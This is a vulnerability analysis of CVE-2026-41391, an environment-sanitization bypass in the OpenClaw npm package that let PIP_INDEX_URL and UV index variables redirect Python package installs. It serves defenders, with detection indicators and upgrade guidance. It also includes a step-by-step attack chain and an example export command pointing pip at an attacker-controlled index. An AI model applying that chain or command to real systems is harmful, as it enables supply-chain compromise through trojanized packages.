CVE-2026-41391: 
OpenClaw (formerly Moltbot or Clawdbot) vulnerability analysis and mitigation

CVE-2026-41391 is an environment variable sanitization bypass vulnerability in OpenClaw (npm package) that allows low-privileged local attackers to redirect Python package-index traffic by injecting malicious URLs via unsanitized PIP_INDEX_URL and UV_INDEX_URL environment variables. It affects all OpenClaw versions up to and including 2026.3.28, with the fix introduced in version 2026.3.31. The vulnerability was published on April 28, 2026, and is classified as CWE-184 (Incomplete List of Disallowed Inputs). It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.8 (Medium) (GitHub Advisory, Feedly).

The root cause is an incomplete denylist (CWE-184) in OpenClaw's host execution environment sanitization logic (src/infra/host-env-security-policy.json and the corresponding macOS Swift policy). Prior to version 2026.3.31, the sanitizeHostExecEnv function failed to block Python package index override variables — specifically PIP_INDEX_URL, PIP_PYPI_URL, PIP_EXTRA_INDEX_URL, UV_INDEX, UV_INDEX_URL, UV_DEFAULT_INDEX, and UV_EXTRA_INDEX_URL — from being passed into request-scoped host exec contexts. A local attacker with low privileges who can set environment variables in the execution context can inject a malicious package index URL, causing subsequent pip or uv invocations within that context to fetch packages from an attacker-controlled repository. The fix added all seven variables to the blocked list and updated corresponding test coverage (GitHub Commit, GitHub Advisory).

Successful exploitation enables a local attacker to redirect Python package downloads to a malicious or attacker-controlled package index, facilitating supply chain attacks by delivering trojanized or backdoored dependencies to applications that rely on OpenClaw's host exec environment. The primary impact is high integrity compromise — malicious packages can be silently substituted for legitimate ones — with a low confidentiality impact if the attacker's index server logs request metadata. Availability is not directly affected. The scope is limited to the host execution context managed by OpenClaw, but the downstream risk of compromised packages being integrated into production applications is significant (Feedly, GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability requires local access with low privileges and the presence of specific attack conditions (attacker-controlled environment variables in the exec context), which limits its exploitability. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Gain local access: Obtain low-privileged local access to a system running a vulnerable version of OpenClaw (≤2026.3.28 npm package).
2. Identify exec context: Determine that OpenClaw is performing host exec operations that invoke pip or uv for Python package management (e.g., during plugin installation, dependency resolution, or AI tool execution).
3. Set malicious environment variable: In the execution environment accessible to OpenClaw's host exec context, set PIP_INDEX_URL or UV_INDEX_URL to point to an attacker-controlled package index server (e.g., export PIP_INDEX_URL=https://attacker.example.com/simple/).
4. Trigger package installation: Cause OpenClaw to invoke a host exec operation that calls pip install or uv — for example, by triggering a feature that installs Python dependencies.
5. Serve malicious package: The attacker-controlled index server responds with a trojanized version of the requested package, which is installed into the target environment.
6. Achieve objective: The malicious package executes attacker-controlled code within the application's Python environment, enabling persistence, data exfiltration, or further lateral movement (GitHub Advisory, GitHub Commit).

• Environment: Presence of PIP_INDEX_URL, PIP_PYPI_URL, PIP_EXTRA_INDEX_URL, UV_INDEX, UV_INDEX_URL, UV_DEFAULT_INDEX, or UV_EXTRA_INDEX_URL set to non-official or unexpected URLs in the process environment of OpenClaw or its child processes.
• Network: Outbound HTTP/HTTPS requests from the host to unexpected or unknown package index servers (i.e., not pypi.org or configured internal mirrors) originating from pip or uv processes spawned by OpenClaw.
• Logs: OpenClaw diagnostic logs (sanitizeHostExecEnvWithDiagnostics) showing rejection of Python index override variables — or, on vulnerable versions, absence of such rejections when these variables are present.
• File System: Newly installed Python packages in the environment whose checksums or metadata do not match official PyPI releases; unexpected .dist-info directories for known packages with anomalous metadata.
• Process: pip or uv child processes spawned by OpenClaw making connections to non-standard index URLs, observable via process monitoring tools (e.g., auditd, sysdig, or EDR telemetry) (GitHub Advisory, GitHub Commit).

Upgrade OpenClaw (npm) to version 2026.3.31 or later, which adds PIP_INDEX_URL, PIP_PYPI_URL, PIP_EXTRA_INDEX_URL, UV_INDEX, UV_INDEX_URL, UV_DEFAULT_INDEX, and UV_EXTRA_INDEX_URL to the host exec environment denylist. As a workaround prior to patching, restrict which users or processes can set environment variables in OpenClaw's execution context, and enforce OS-level controls (e.g., systemd environment restrictions or container security policies) to prevent injection of package index variables. Additionally, monitor package installation sources and validate package integrity (e.g., via hash verification) during deployment (GitHub Advisory, GitHub Commit).

The vulnerability was reported by researcher nexrin and sponsored by KeenSecurityLab and qclawer, as credited in the GitHub Security Advisory. The fix was co-authored by vincentkoc and the Greptile bot. No significant broader media coverage or notable public researcher commentary beyond the advisory and commit has been identified at this time (GitHub Advisory).